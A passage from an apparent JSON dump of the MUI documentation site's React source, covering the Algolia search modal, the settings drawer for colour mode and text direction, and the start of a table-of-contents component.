    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport * as ReactDOMServer from 'react-dom/server';\nimport PropTypes from 'prop-types';\nimport NextLink from 'next/link';\nimport { useRouter } from 'next/router';\nimport { DocSearchModal, useDocSearchKeyboardEvents } from '@docsearch/react';\nimport Chip from '@mui/material/Chip';\nimport DownloadRoundedIcon from '@mui/icons-material/DownloadRounded';\nimport StickyNote2RoundedIcon from '@mui/icons-material/StickyNote2Rounded';\nimport SmartButtonRoundedIcon from '@mui/icons-material/SmartButtonRounded';\nimport IntegrationInstructionsRoundedIcon from '@mui/icons-material/IntegrationInstructionsRounded';\nimport CopyrightRoundedIcon from '@mui/icons-material/CopyrightRounded';\nimport CollectionsBookmarkRoundedIcon from '@mui/icons-material/CollectionsBookmarkRounded';\nimport LibraryBooksRoundedIcon from '@mui/icons-material/LibraryBooksRounded';\nimport SettingsRoundedIcon from '@mui/icons-material/SettingsRounded';\nimport ChecklistRoundedIcon from '@mui/icons-material/ChecklistRounded';\nimport NewspaperRoundedIcon from '@mui/icons-material/NewspaperRounded';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport { alpha } from '@mui/material/styles';\nimport { pathnameToLanguage } from '@mui/docs/helpers';\nimport { LANGUAGES_SSR } from 'docs/config';\nimport { Link } from '@mui/docs/Link';\nimport { useTranslate, useUserLanguage } from '@mui/docs/i18n';\nimport useLazyCSS from '@mui/docs/useLazyCSS';\nimport PageContext from '@mui/docs/PageContext';\nimport SearchButton from './SearchButton';\n\nfunction NewStartScreen() {\n  const startScreenOptions = [\n    {\n      category: {\n        name: 'Material UI',\n      },\n      items: [\n        {\n          name: 'Installation',\n          href: '/material-ui/getting-started/installation/',\n          icon: <DownloadRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n        {\n          name: 'Components',\n          href: '/material-ui/getting-started/supported-components/',\n          icon: <SmartButtonRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n        {\n          name: 'Example projects',\n          href: '/material-ui/getting-started/example-projects/',\n          icon: <LibraryBooksRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n        {\n          name: 'Templates',\n          href: '/material-ui/getting-started/templates/',\n          icon: <CollectionsBookmarkRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n      ],\n    },\n    {\n      category: {\n        name: 'MUI X',\n      },\n      items: [\n        {\n          name: 'Overview',\n          href: '/x/introduction/',\n          icon: <StickyNote2RoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n        {\n          name: 'Licensing',\n          href: '/x/introduction/licensing/',\n          icon: <CopyrightRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n        {\n          name: 'What is new in MUI X',\n          href: '/x/whats-new/',\n          icon: <NewspaperRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n      ],\n    },\n    {\n      category: {\n        name: 'Toolpad',\n      },\n      items: [\n        {\n          name: 'Overview',\n          href: '/toolpad/studio/getting-started/',\n          icon: <StickyNote2RoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n        {\n          name: 'Why Toolpad?',\n          href: '/toolpad/studio/getting-started/why-toolpad/',\n          icon: <ChecklistRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n        {\n          name: 'Example applications',\n          href: '/toolpad/studio/examples/',\n          icon: <LibraryBooksRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n      ],\n    },\n    {\n      category: {\n        name: 'MUI System',\n      },\n      items: [\n        {\n          name: 'Overview',\n          href: '/system/getting-started/',\n          icon: <StickyNote2RoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n        {\n          name: 'Usage',\n          href: '/system/getting-started/usage/',\n          icon: (\n            <IntegrationInstructionsRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />\n          ),\n        },\n        {\n          name: 'The sx prop',\n          href: '/system/getting-started/the-sx-prop/',\n          icon: <SettingsRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n        },\n      ],\n    },\n  ];\n  return (\n    <div className=\"DocSearch-NewStartScreen\">\n      {startScreenOptions.map(({ category, items }) => (\n        <div key={category.name} className=\"DocSearch-NewStartScreenCategory\">\n          <div className=\"DocSearch-NewStartScreenTitle\">{category.name}</div>\n          {items.map(({ name, icon, href }) => (\n            <NextLink key={name} href={href} className=\"DocSearch-NewStartScreenItem\">\n              {icon}\n              {name}\n            </NextLink>\n          ))}\n        </div>\n      ))}\n    </div>\n  );\n}\n\nconst productNameProductId = {\n  'material-ui': 'Material UI',\n  'joy-ui': 'Joy UI',\n  'base-ui': 'MUI Base',\n  x: 'MUI X',\n  system: 'MUI System',\n  toolpad: 'Toolpad',\n  'toolpad-studio': 'Toolpad Studio',\n  'toolpad-core': 'Toolpad Core',\n  'docs-infra': 'Docs Infra',\n};\n\nexport function convertProductIdToName(productInfo) {\n  return (\n    productNameProductId[productInfo.productId] ||\n    productNameProductId[productInfo.productCategoryId]\n  );\n}\n\nfunction getDisplayTag(hit) {\n  if (hit.productId === undefined || hit.productCategoryId === undefined) {\n    return null;\n  }\n\n  const productName = convertProductIdToName({\n    productId: hit.productId,\n    productCategoryId: hit.productCategoryId,\n  });\n\n  if (!productName) {\n    console.error(\n      `getDisplayTag missing mapping for productId: ${hit.productId}, pathname: ${hit.pathname}.`,\n    );\n  }\n\n  return <Chip label={productName} size=\"small\" variant=\"outlined\" sx={{ mr: 1 }} />;\n}\n\nfunction DocSearchHit(props) {\n  const { children, hit } = props;\n\n  if (hit.pathname) {\n    return (\n      <Link\n        href={hit.pathname}\n        as={hit.as}\n        sx={{ display: 'flex !important', '& .DocSearch-Hit-Container': { flex: 1, minWidth: 0 } }}\n      >\n        {children}\n        {getDisplayTag(hit)}\n      </Link>\n    );\n  }\n\n  // DocSearch stores the old results in its cache\n  // hit.pathname won't be defined for them.\n  return <Link href={hit.url}>{children}</Link>;\n}\n\nDocSearchHit.propTypes = {\n  children: PropTypes.node,\n  hit: PropTypes.object.isRequired,\n};\n\nconst standaloneProducts = ['base-ui', 'joy-ui'];\n\nexport default function AppSearch(props) {\n  useLazyCSS(\n    'https://cdn.jsdelivr.net/npm/@docsearch/css@3.0.0-alpha.40/dist/style.min.css',\n    '#app-search',\n    { layer: 'docsearch' },\n  );\n  const FADE_DURATION = 120; // ms\n  const t = useTranslate();\n  const userLanguage = useUserLanguage();\n  const searchButtonRef = React.useRef(null);\n  const [isOpen, setIsOpen] = React.useState(false);\n  const [initialQuery, setInitialQuery] = React.useState(undefined);\n  const facetFilterLanguage = LANGUAGES_SSR.includes(userLanguage)\n    ? `language:${userLanguage}`\n    : `language:en`;\n  const onOpen = React.useCallback(() => {\n    setIsOpen(true);\n  }, [setIsOpen]);\n  const router = useRouter();\n  const pageContext = React.useContext(PageContext);\n\n  const keyboardNavigator = {\n    navigate({ item }) {\n      const as = item.userLanguage !== 'en' ? `/${item.userLanguage}${item.as}` : item.as;\n      router.push(item.pathname, as);\n    },\n  };\n\n  const onClose = React.useCallback(() => {\n    const modal = document.querySelector('.DocSearch-Container');\n    if (modal) {\n      // fade out transition\n      modal.style.opacity = 0;\n    }\n    setIsOpen(false); // DO NOT call setIsOpen inside a timeout (it causes scroll issue).\n  }, [setIsOpen]);\n\n  const onInput = React.useCallback(\n    (event) => {\n      setIsOpen(true);\n      setInitialQuery(event.key);\n    },\n    [setIsOpen, setInitialQuery],\n  );\n\n  useDocSearchKeyboardEvents({\n    isOpen,\n    onOpen,\n    onClose,\n    onInput,\n    searchButtonRef,\n  });\n\n  React.useEffect(() => {\n    const addStartScreen = () => {\n      const dropDown = document.querySelector('.DocSearch-Dropdown');\n      const isExisting = document.querySelector('.DocSearch-NewStartScreen');\n      if (dropDown && !isExisting) {\n        dropDown.insertAdjacentHTML(\n          'beforeend',\n          ReactDOMServer.renderToStaticMarkup(<NewStartScreen />),\n        );\n      }\n    };\n    // add transition to Modal\n    if (isOpen) {\n      const modal = document.querySelector('.DocSearch-Container');\n      const searchInput = document.querySelector('.DocSearch-Input');\n      if (modal) {\n        modal.style.opacity = 1;\n        addStartScreen();\n      }\n      if (searchInput) {\n        const handleInput = (event) => {\n          const newStartScreen = document.querySelector('.DocSearch-NewStartScreen');\n          if (newStartScreen) {\n            newStartScreen.style.display = event.target.value !== '' ? 'none' : 'grid';\n          }\n        };\n        searchInput.addEventListener('input', handleInput);\n        return () => {\n          searchInput.removeEventListener('input', handleInput);\n        };\n      }\n    }\n    return () => {};\n  }, [isOpen]);\n\n  const optionalFilters = [];\n  if (pageContext.productId !== 'null') {\n    optionalFilters.push(`productId:${pageContext.productId}`);\n  } else if (pageContext.productCategoryId !== 'null') {\n    optionalFilters.push(`productCategoryId:${pageContext.productCategoryId}`);\n  }\n\n  // Filter out stand-alone products unless we're on their subsections\n  let filters = undefined;\n  if (standaloneProducts.length > 0) {\n    const filtersPredicates = [];\n    for (let i = 0; i < standaloneProducts.length; i += 1) {\n      if (pageContext.productId !== standaloneProducts[i]) {\n        filtersPredicates.push(`NOT productId:${standaloneProducts[i]}`);\n      }\n    }\n    filters = filtersPredicates.join(' AND ');\n  }\n\n  return (\n    <React.Fragment>\n      <SearchButton onRef={searchButtonRef} onClick={onOpen} {...props} />\n      {isOpen &&\n        ReactDOM.createPortal(\n          <DocSearchModal\n            initialQuery={initialQuery}\n            appId=\"TZGZ85B9TB\"\n            apiKey=\"8177dfb3e2be72b241ffb8c5abafa899\"\n            indexName={process.env.SEARCH_INDEX}\n            searchParameters={{\n              facetFilters: ['version:master', facetFilterLanguage],\n              filters,\n              optionalFilters,\n              attributesToRetrieve: [\n                // Copied from https://github.com/algolia/docsearch/blob/ce0c865cd8767e961ce3088b3155fc982d4c2e2e/packages/docsearch-react/src/DocSearchModal.tsx#L231\n                'hierarchy.lvl0',\n                'hierarchy.lvl1',\n                'hierarchy.lvl2',\n                'hierarchy.lvl3',\n                'hierarchy.lvl4',\n                'hierarchy.lvl5',\n                'content',\n                'type',\n                'url',\n                // Extra\n                'productId',\n                'productCategoryId',\n              ],\n              analyticsTags: [facetFilterLanguage, `product:${pageContext.productId}`],\n              hitsPerPage: 40,\n            }}\n            placeholder={`${t('algoliaSearch')}`}\n            transformItems={(items) => {\n              return items.map((item) => {\n                // `url` contains the domain\n                // but we want to link to the current domain e.g. deploy-preview-1--material-ui.netlify.app\n                const parseUrl = document.createElement('a');\n                parseUrl.href = item.url;\n\n                const { canonicalAs, canonicalPathname } = pathnameToLanguage(\n                  `${parseUrl.pathname}${parseUrl.hash}`,\n                );\n\n                return {\n                  ...item,\n                  pathname: canonicalPathname,\n                  as: canonicalAs,\n                  userLanguage,\n                };\n              });\n            }}\n            hitComponent={DocSearchHit}\n            initialScrollY={typeof window !== 'undefined' ? window.scrollY : undefined}\n            onClose={onClose}\n            navigator={keyboardNavigator}\n          />,\n          document.body,\n        )}\n      <GlobalStyles\n        styles={(theme) => ({\n          html: {\n            ':root': {\n              '--docsearch-primary-color': (theme.vars || theme).palette.primary[600],\n              '--docsearch-text-color': (theme.vars || theme).palette.text.primary,\n              '--docsearch-muted-color': (theme.vars || theme).palette.grey[600],\n              '--docsearch-searchbox-shadow': 0,\n              '--docsearch-hit-shadow': 0,\n              '--docsearch-footer-shadow': 0,\n              '--docsearch-spacing': theme.spacing(1.5),\n              '--docsearch-hit-active-color': (theme.vars || theme).palette.primary[600],\n              '--docsearch-logo-color': (theme.vars || theme).palette.grey[600],\n              '--docsearch-searchbox-focus-background': 'unset',\n              '--docsearch-footer-background': 'unset',\n              '--docsearch-modal-background': (theme.vars || theme).palette.background.paper,\n            },\n          },\n          body: {\n            '.DocSearch-Container': {\n              transition: `opacity ${FADE_DURATION}ms`,\n              opacity: 0,\n              zIndex: theme.zIndex.tooltip + 100,\n              backgroundColor: alpha(theme.palette.grey[700], 0.5),\n              backdropFilter: 'blur(2px)',\n            },\n            '& .DocSearch-StartScreen': {\n              display: 'none',\n            },\n            '& .DocSearch-NewStartScreen': {\n              display: 'grid',\n              gridTemplateColumns: 'repeat(2, 1fr)',\n              gap: theme.spacing(2),\n              paddingBottom: theme.spacing(2),\n            },\n            '& .DocSearch-NewStartScreenCategory': {\n              display: 'flex',\n              flexDirection: 'column',\n            },\n            '& .DocSearch-NewStartScreenTitle': {\n              display: 'flex',\n              alignItems: 'center',\n              padding: theme.spacing(2, 3, 1.5, 2),\n              fontSize: theme.typography.pxToRem(11),\n              fontWeight: theme.typography.fontWeightBold,\n              textTransform: 'uppercase',\n              letterSpacing: '.1rem',\n              color: (theme.vars || theme).palette.text.tertiary,\n            },\n            '& .DocSearch-NewStartScreenTitleIcon': {\n              fontSize: theme.typography.pxToRem(18),\n              color: (theme.vars || theme).palette.primary[500],\n              marginRight: theme.spacing(1.5),\n              opacity: 0.6,\n              // Redefine SvgIcon-root style as ReactDOMServer.renderToStaticMarkup doesn't\n              // Generate the CSS.\n              // TODO v6: This hack should no longer be needed with static CSS rendering.\n              userSelect: 'none',\n              width: '1em',\n              height: '1em',\n              display: 'inline-block',\n              flexShrink: 0,\n              fill: 'currentColor',\n            },\n            '& .DocSearch-NewStartScreenItem': {\n              display: 'flex',\n              alignItems: 'center',\n              cursor: 'pointer',\n              width: '100%',\n              height: '42px',\n              color: (theme.vars || theme).palette.primary[600],\n              fontSize: theme.typography.pxToRem(14),\n              fontWeight: theme.typography.fontWeightMedium,\n              padding: theme.spacing(0.25, 0),\n              paddingLeft: theme.spacing(2),\n              border: '1px solid transparent',\n              borderRadius: theme.shape.borderRadius,\n              backgroundColor: alpha(theme.palette.grey[50], 0.4),\n              borderColor: alpha(theme.palette.grey[100], 0.5),\n              marginBottom: theme.spacing(1),\n              '&:hover, &:focus': {\n                backgroundColor: (theme.vars || theme).palette.primary[50],\n                borderColor: (theme.vars || theme).palette.primary[300],\n              },\n              '&:focus-visible': {\n                outline: '3px solid',\n                outlineColor: (theme.vars || theme).palette.primary[200],\n                outlineOffset: 0,\n              },\n            },\n            '& .DocSearch-Modal': {\n              // docsearch.css: <= 750px will be full screen modal\n              maxWidth: '640px',\n              boxShadow: `0px 4px 16px ${alpha(theme.palette.common.black, 0.2)}`,\n              borderRadius: theme.shape.borderRadius,\n              border: '1px solid',\n              borderColor: (theme.vars || theme).palette.grey[300],\n            },\n            '& .DocSearch-SearchBar': {\n              borderBottom: '1px solid',\n              borderColor: (theme.vars || theme).palette.grey[200],\n              padding: theme.spacing(0.5, 1),\n            },\n            '& .DocSearch-Form': {\n              '& .DocSearch-Reset': {\n                display: 'none',\n              },\n              '& .DocSearch-Input': {\n                paddingLeft: theme.spacing(2),\n                fontSize: theme.typography.pxToRem(16),\n                fontWeight: theme.typography.fontWeightMedium,\n              },\n              '& .DocSearch-Search-Icon': {\n                width: '18px',\n                height: '18px',\n              },\n              '& .DocSearch-VisuallyHiddenForAccessibility': {\n                width: 0,\n                visibility: 'hidden',\n              },\n            },\n            '& .DocSearch-Cancel': {\n              display: 'block',\n              alignSelf: 'center',\n              cursor: 'pointer',\n              height: '1.5rem',\n              marginRight: theme.spacing(1),\n              padding: theme.spacing(0.3, 0.8, 0.6, 0.8),\n              fontSize: 0,\n              borderRadius: 6,\n              backgroundColor: (theme.vars || theme).palette.grey[50],\n              border: '1px solid',\n              borderColor: (theme.vars || theme).palette.grey[200],\n              '&::before': {\n                content: '\"esc\"',\n                fontFamily: theme.typography.fontFamilyCode,\n                fontSize: theme.typography.pxToRem(12),\n                fontWeight: theme.typography.fontWeightBold,\n                color: (theme.vars || theme).palette.text.secondary,\n              },\n            },\n            '& .DocSearch-Dropdown': {\n              minHeight: 384, // = StartScreen height, to prevent layout shift when first char\n              '&::-webkit-scrollbar-thumb': {\n                borderColor: (theme.vars || theme).palette.background.paper,\n                backgroundColor: (theme.vars || theme).palette.grey[500],\n              },\n              '&::-webkit-scrollbar-track': {\n                backgroundColor: (theme.vars || theme).palette.background.paper,\n              },\n              '* ul': {\n                marginTop: theme.spacing(1),\n              },\n            },\n            '& .DocSearch-Dropdown-Container': {\n              '& .DocSearch-Hits:first-of-type': {\n                '& .DocSearch-Hit-source': {\n                  paddingTop: theme.spacing(2.5),\n                  paddingBottom: theme.spacing(0.5),\n                },\n              },\n            },\n            '& .DocSearch-Hit-source': {\n              top: 'initial',\n              padding: theme.spacing(1.5, 3, 1.5, 3),\n              background: 'transparent',\n              fontSize: theme.typography.pxToRem(11),\n              fontWeight: theme.typography.fontWeightBold,\n              textTransform: 'uppercase',\n              lineHeight: 1,\n              letterSpacing: '.1rem',\n              color: (theme.vars || theme).palette.text.tertiary,\n            },\n            '& .DocSearch-Hit': {\n              paddingBottom: 8,\n              '&:not(:first-of-type)': {\n                marginTop: -1,\n              },\n              '& .DocSearch-Hit-Container': {\n                height: '52px',\n              },\n            },\n            '& .DocSearch-Hit a': {\n              padding: theme.spacing(0.25, 0),\n              paddingLeft: theme.spacing(2),\n              border: '1px solid transparent',\n              borderRadius: theme.shape.borderRadius,\n              backgroundColor: alpha(theme.palette.grey[50], 0.4),\n              borderColor: alpha(theme.palette.grey[100], 0.5),\n              '&:focus-visible': {\n                outline: '3px solid',\n                outlineColor: (theme.vars || theme).palette.primary[200],\n                outlineOffset: 0,\n                backgroundColor: (theme.vars || theme).palette.primary[50],\n                borderColor: (theme.vars || theme).palette.primary[300],\n              },\n            },\n            '& .DocSearch-Hit-content-wrapper': {\n              paddingLeft: theme.spacing(1),\n            },\n            '& .DocSearch-Hit-title': {\n              fontSize: theme.typography.pxToRem(14),\n              fontWeight: theme.typography.fontWeightMedium,\n              color: (theme.vars || theme).palette.text.primary,\n            },\n            '& .DocSearch-Hit-path': {\n              fontSize: theme.typography.pxToRem(12),\n              color: (theme.vars || theme).palette.text.secondary,\n            },\n            '& .DocSearch-Hit-icon': {\n              '> svg': {\n                height: '16px',\n                width: '16px',\n                margin: 0,\n              },\n            },\n            '& .DocSearch-Hit-Select-Icon': {\n              height: '14px',\n              width: '14px',\n            },\n            '& .DocSearch-Hit[aria-selected=\"true\"] a': {\n              backgroundColor: (theme.vars || theme).palette.primary[50],\n              borderColor: (theme.vars || theme).palette.primary[300],\n            },\n            '& .DocSearch-Hit-action, & .DocSearch-Hits mark': {\n              color: (theme.vars || theme).palette.primary[500],\n              '& .DocSearch-Hit-action-button': {\n                display: 'flex',\n                width: '24px',\n                borderRadius: '6px',\n                border: '1px solid transparent',\n                '> svg': {\n                  margin: 0,\n                },\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primary[100],\n                  borderColor: (theme.vars || theme).palette.primary[300],\n                },\n              },\n            },\n            '& .DocSearch-Footer': {\n              borderTop: '1px solid',\n              borderColor: (theme.vars || theme).palette.grey[200],\n              '& .DocSearch-Commands': {\n                display: 'none',\n              },\n            },\n          },\n        })}\n      />\n      <GlobalStyles\n        styles={(theme) => [\n          {\n            [theme.vars ? '[data-mui-color-scheme=\"dark\"]:root' : '.mode-dark']: {\n              '--docsearch-primary-color': (theme.vars || theme).palette.primaryDark[300],\n              '--docsearch-hit-active-color': (theme.vars || theme).palette.primary[300],\n            },\n          },\n          {\n            [theme.vars ? '[data-mui-color-scheme=\"dark\"] body' : '.mode-dark']: {\n              '.DocSearch-Container': {\n                backgroundColor: alpha(theme.palette.grey[900], 0.6),\n              },\n              '& .DocSearch-NewStartScreenTitleIcon': {\n                color: (theme.vars || theme).palette.primary[300],\n              },\n              '& .DocSearch-NewStartScreenItem': {\n                color: (theme.vars || theme).palette.primary[300],\n                backgroundColor: alpha(theme.palette.primaryDark[800], 0.5),\n                borderColor: alpha(theme.palette.primaryDark[700], 0.8),\n                '&:hover, &:focus': {\n                  backgroundColor: alpha(theme.palette.primary[900], 0.4),\n                  borderColor: alpha(theme.palette.primary[700], 0.6),\n                },\n                '&:focus-visible': {\n                  outlineColor: (theme.vars || theme).palette.primary[700],\n                },\n              },\n              '& .DocSearch-Modal': {\n                backgroundColor: (theme.vars || theme).palette.primaryDark[900],\n                boxShadow: `0px 4px 16px ${alpha(theme.palette.common.black, 0.8)}`,\n                border: '1px solid',\n                borderColor: (theme.vars || theme).palette.primaryDark[700],\n              },\n              '& .DocSearch-SearchBar': {\n                borderColor: (theme.vars || theme).palette.primaryDark[700],\n              },\n              '& .DocSearch-Cancel': {\n                backgroundColor: (theme.vars || theme).palette.primaryDark[800],\n                borderColor: (theme.vars || theme).palette.primaryDark[600],\n              },\n              '& .DocSearch-Dropdown': {\n                '&::-webkit-scrollbar-thumb': {\n                  borderColor: (theme.vars || theme).palette.primaryDark[900],\n                  backgroundColor: (theme.vars || theme).palette.primaryDark[100],\n                },\n              },\n              '& .DocSearch-Hit a': {\n                backgroundColor: alpha(theme.palette.primaryDark[800], 0.5),\n                borderColor: alpha(theme.palette.primaryDark[700], 0.8),\n                '&:focus-visible': {\n                  outlineColor: alpha(theme.palette.primary[400], 0.5),\n                  backgroundColor: alpha(theme.palette.primary[900], 0.4),\n                  borderColor: alpha(theme.palette.primary[700], 0.6),\n                },\n              },\n              '& .DocSearch-Hit[aria-selected=\"true\"] a': {\n                color: (theme.vars || theme).palette.primary[300],\n                backgroundColor: alpha(theme.palette.primary[900], 0.4),\n                borderColor: alpha(theme.palette.primary[700], 0.6),\n              },\n              '& .DocSearch-Hit-action, & .DocSearch-Hits mark': {\n                color: (theme.vars || theme).palette.primary[400],\n                '& .DocSearch-Hit-action-button': {\n                  '&:hover': {\n                    backgroundColor: alpha(theme.palette.primary[900], 0.8),\n                    borderColor: alpha(theme.palette.primary[700], 0.8),\n                  },\n                },\n              },\n              '& .DocSearch-Footer': {\n                borderColor: (theme.vars || theme).palette.primaryDark[700],\n              },\n            },\n          },\n        ]}\n      />\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/AppSettingsDrawer.d.ts",
    "content": "import * as React from 'react';\n\nexport interface AppSettingsDrawerProps {\n  onClose: () => void;\n  open: boolean;\n}\n\ndeclare const AppSettingsDrawer: React.ComponentType<AppSettingsDrawerProps>;\n\nexport default AppSettingsDrawer;\n"
  },
  {
    "path": "docs/src/modules/components/AppSettingsDrawer.js",
    "content": "import PropTypes from 'prop-types';\nimport { styled, useTheme, useColorScheme } from '@mui/material/styles';\nimport Drawer from '@mui/material/Drawer';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport IconButton from '@mui/material/IconButton';\nimport CloseIcon from '@mui/icons-material/Close';\nimport LightModeIcon from '@mui/icons-material/LightMode';\nimport DarkModeOutlinedIcon from '@mui/icons-material/DarkModeOutlined';\nimport SettingsBrightnessIcon from '@mui/icons-material/SettingsBrightness';\nimport FormatTextdirectionLToRIcon from '@mui/icons-material/FormatTextdirectionLToR';\nimport FormatTextdirectionRToLIcon from '@mui/icons-material/FormatTextdirectionRToL';\nimport { useColorSchemeShim, useChangeTheme } from '@mui/docs/ThemeContext';\nimport { useTranslate } from '@mui/docs/i18n';\n\nconst Heading = styled(Typography)(({ theme }) => ({\n  margin: '16px 0 8px',\n  fontWeight: theme.typography.fontWeightSemiBold,\n  fontSize: theme.typography.pxToRem(11),\n  textTransform: 'uppercase',\n  letterSpacing: '.1rem',\n  color: (theme.vars || theme).palette.text.tertiary,\n}));\n\nconst IconToggleButton = styled(ToggleButton)({\n  display: 'flex',\n  justifyContent: 'center',\n  width: '100%',\n  '& > *': {\n    marginRight: '8px',\n  },\n});\n\nfunction ToggleTheme(props) {\n  const { value, onChange } = props;\n  const t = useTranslate();\n  return (\n    <ToggleButtonGroup\n      exclusive\n      value={value}\n      color=\"primary\"\n      onChange={onChange}\n      aria-labelledby=\"settings-mode\"\n      fullWidth\n    >\n      <IconToggleButton\n        value=\"light\"\n        aria-label={t('settings.light')}\n        data-ga-event-category=\"settings\"\n        data-ga-event-action=\"light\"\n      >\n        <LightModeIcon fontSize=\"small\" />\n        {t('settings.light')}\n      </IconToggleButton>\n      <IconToggleButton\n        value=\"system\"\n        aria-label={t('settings.system')}\n        data-ga-event-category=\"settings\"\n        data-ga-event-action=\"system\"\n      >\n        <SettingsBrightnessIcon fontSize=\"small\" />\n        {t('settings.system')}\n      </IconToggleButton>\n      <IconToggleButton\n        value=\"dark\"\n        aria-label={t('settings.dark')}\n        data-ga-event-category=\"settings\"\n        data-ga-event-action=\"dark\"\n      >\n        <DarkModeOutlinedIcon fontSize=\"small\" />\n        {t('settings.dark')}\n      </IconToggleButton>\n    </ToggleButtonGroup>\n  );\n}\nToggleTheme.propTypes = {\n  onChange: PropTypes.func.isRequired,\n  value: PropTypes.oneOf(['light', 'system', 'dark']),\n};\n\nfunction ToggleVarTheme(props) {\n  const { setMode } = useColorScheme();\n\n  const handleChangeThemeMode = (event, paletteMode) => {\n    if (paletteMode === null) {\n      return;\n    }\n    props.onChange(event, paletteMode);\n    setMode(paletteMode);\n  };\n  return <ToggleTheme value={props.value} onChange={handleChangeThemeMode} />;\n}\n\nToggleVarTheme.propTypes = {\n  onChange: PropTypes.func.isRequired,\n  value: PropTypes.oneOf(['light', 'system', 'dark']),\n};\n\nexport default function AppSettingsDrawer(props) {\n  const { onClose, open = false, ...other } = props;\n  const t = useTranslate();\n  const upperTheme = useTheme();\n  const changeTheme = useChangeTheme();\n\n  // TODO replace with useColorScheme once all pages support css vars\n  const { mode, setMode } = useColorSchemeShim();\n\n  const handleChangeThemeMode = (event, paletteMode) => {\n    if (paletteMode === null) {\n      return;\n    }\n    setMode(paletteMode);\n  };\n\n  const handleChangeDirection = (event, direction) => {\n    if (direction === null) {\n      direction = upperTheme.direction;\n    }\n    changeTheme({ direction });\n  };\n\n  return (\n    <Drawer\n      anchor=\"right\"\n      onClose={onClose}\n      open={open}\n      slotProps={{\n        paper: {\n          elevation: 0,\n          sx: {\n            width: { xs: 310, sm: 360 },\n            borderRadius: '10px 0px 0px 10px',\n            border: '1px solid',\n            borderColor: 'divider',\n          },\n        },\n      }}\n      {...other}\n    >\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'space-between',\n          alignItems: 'center',\n          px: 2,\n          py: 1,\n        }}\n      >\n        <Typography variant=\"body1\" sx={{ fontWeight: 'medium' }}>\n          {t('settings.settings')}\n        </Typography>\n        <IconButton color=\"inherit\" onClick={onClose} edge=\"end\" aria-label={t('close')}>\n          <CloseIcon color=\"primary\" fontSize=\"small\" />\n        </IconButton>\n      </Box>\n      <Divider />\n      <Box sx={{ pl: 2, pr: 2 }}>\n        <Heading gutterBottom id=\"settings-mode\">\n          {t('settings.mode')}\n        </Heading>\n        {upperTheme.vars ? (\n          <ToggleVarTheme value={mode} onChange={handleChangeThemeMode} />\n        ) : (\n          <ToggleTheme value={mode} onChange={handleChangeThemeMode} />\n        )}\n        <Heading gutterBottom id=\"settings-direction\">\n          {t('settings.direction')}\n        </Heading>\n        <ToggleButtonGroup\n          exclusive\n          value={upperTheme.direction}\n          onChange={handleChangeDirection}\n          aria-labelledby=\"settings-direction\"\n          color=\"primary\"\n          fullWidth\n        >\n          <IconToggleButton\n            value=\"ltr\"\n            aria-label={t('settings.ltr')}\n            data-ga-event-category=\"settings\"\n            data-ga-event-action=\"ltr\"\n          >\n            <FormatTextdirectionLToRIcon fontSize=\"small\" />\n            {t('settings.ltr')}\n          </IconToggleButton>\n          <IconToggleButton\n            value=\"rtl\"\n            aria-label={t('settings.rtl')}\n            data-ga-event-category=\"settings\"\n            data-ga-event-action=\"rtl\"\n          >\n            <FormatTextdirectionRToLIcon fontSize=\"small\" />\n            {t('settings.rtl')}\n          </IconToggleButton>\n        </ToggleButtonGroup>\n        <Heading gutterBottom>{t('settings.color')}</Heading>\n        <Button\n          component=\"a\"\n          href=\"/material-ui/customization/color/#playground\"\n          data-ga-event-category=\"settings\"\n          data-ga-event-action=\"colors\"\n          variant=\"outlined\"\n          size=\"small\"\n          fullWidth\n        >\n          {t('settings.editDocsColors')}\n        </Button>\n      </Box>\n    </Drawer>\n  );\n}\n\nAppSettingsDrawer.propTypes = {\n  onClose: PropTypes.func.isRequired,\n  open: PropTypes.bool,\n};\n"
  },
  {
    "path": "docs/src/modules/components/AppTableOfContents.js",
    "content": "/* eslint-disable react/no-danger */\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { throttle } from 'es-toolkit/function';\nimport { styled } from '@mui/material/styles';\nimport { useTranslate } from '@mui/docs/i18n';\nimport TableOfContents, { NavItem, TOC_WIDTH } from 'docs/src/modules/components/TableOfContents';\nimport MiniTableOfContents from 'docs/src/modules/components/MiniTableOfContents';\nimport { samePageLinkNavigation } from '@mui/docs/Link';\n\nconst Nav = styled('nav', {\n  shouldForwardProp: (prop) => prop !== 'wideLayout',\n})(({ theme }) => ({\n  top: 'var(--MuiDocs-header-height)',\n  marginTop: 'var(--MuiDocs-header-height)',\n  paddingLeft: 6, // Fix truncated focus outline style\n  position: 'sticky',\n  height: 'calc(100vh - var(--MuiDocs-header-height))',\n  overflowY: 'auto',\n  paddingTop: theme.spacing(4),\n  paddingBottom: theme.spacing(7),\n  paddingRight: theme.spacing(4), // We can't use `padding` as @mui/stylis-plugin-rtl doesn't swap it\n  display: 'none',\n  scrollbarWidth: 'thin',\n  [theme.breakpoints.up('md')]: {\n    display: 'block',\n  },\n  variants: [\n    {\n      props: { wideLayout: true },\n      style: {\n        [theme.breakpoints.up('md')]: {\n          display: 'none',\n        },\n        [`@media (min-width:${theme.breakpoints.values.xl + TOC_WIDTH}px)`]: {\n          display: 